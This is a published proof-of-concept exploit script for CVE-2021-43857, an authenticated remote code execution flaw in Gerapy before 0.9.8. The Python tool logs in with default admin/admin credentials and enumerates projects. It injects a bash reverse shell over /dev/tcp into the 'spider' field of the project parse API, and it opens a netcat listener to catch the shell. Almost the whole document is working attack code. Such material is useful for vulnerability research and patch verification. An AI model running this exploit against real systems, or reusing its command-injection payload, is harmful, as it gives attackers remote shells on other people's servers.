Vulnerabilities

Gerapy 0.9.7 Remote Code Execution

# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/Gerapy/Gerapy
# Date: 03/01/2022
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/Gerapy/Gerapy
# Version: All versions of Gerapy prior to 0.9.8
# CVE: CVE-2021-43857
# Tested on: Gerapy 0.9.6

# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import json
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43857")
print(banner)
print('Exploit for CVE-2021-43857')
print('For: Gerapy < 0.9.8')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

def __init__(self, target_ip, target_port, localhost, localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport

def exploitation(self):
payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""

#Login to the app (getting auth token)
url = "http://" + target_ip + ":" + target_port
r = requests.Session()
print("[*] Resolving URL...")
r1 = r.get(url)
time.sleep(3)
print("[*] Logging in to application...")
r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
time.sleep(3)
if (r2.status_code == 200):
print('[*] Login successful! Proceeding...')
else:
print('[*] Something went wrong!')
quit()

#Create a header out of auth token (yep, it's bad as it looks)
dict = json.loads(r2.text)
temp_token = 'Token '
temp_token2 = json.dumps(dict['token']).strip('"')
auth_token = {}
auth_token['Authorization'] = temp_token + temp_token2

#Get the project list
print("[*] Getting the project list")
r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)
time.sleep(3)

if (r3.status_code != 200):
print("[!] Something went wrong! Maybe the token is corrupted?")
quit();

#Parse the project name for a request (yep, it's worse than earlier)
dict = r3.text # [{'name': 'test'}]
dict2 = json.dumps(dict)
dict3 = json.loads(dict2)
dict3 = json.loads(dict3)
name = dict3[0]['name']
print("[*] Found project: " + name)

#use the id to check the project
print("[*] Getting the ID of the project to build the URL")
r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
time.sleep(3)
if (r4.status_code != 200):
print("[*] Something went wrong! I can't reach the found project!")
quit();

#format the json to dict
dict = r4.text
dict2 = json.dumps(dict)
dict3 = json.loads(dict2)
dict3 = json.loads(dict3)
id = dict3['id']
print("[*] Found ID of the project: ", id)
time.sleep(1)

#netcat listener
print("[*] Setting up a netcat listener")
listener = subprocess.Popen(["nc", "-nvlp", self.localport])
time.sleep(3)

#exec the payload
print("[*] Executing reverse shell payload")
print("[*] Watchout for shell! :)")
r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
listener.wait()

if (r5.status_code == 200):
print("[*] It worked!")
listener.wait()
else:
print("[!] Something went wrong!")
listener.terminate()

def get_args():
parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
args = parser.parse_args()
return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()


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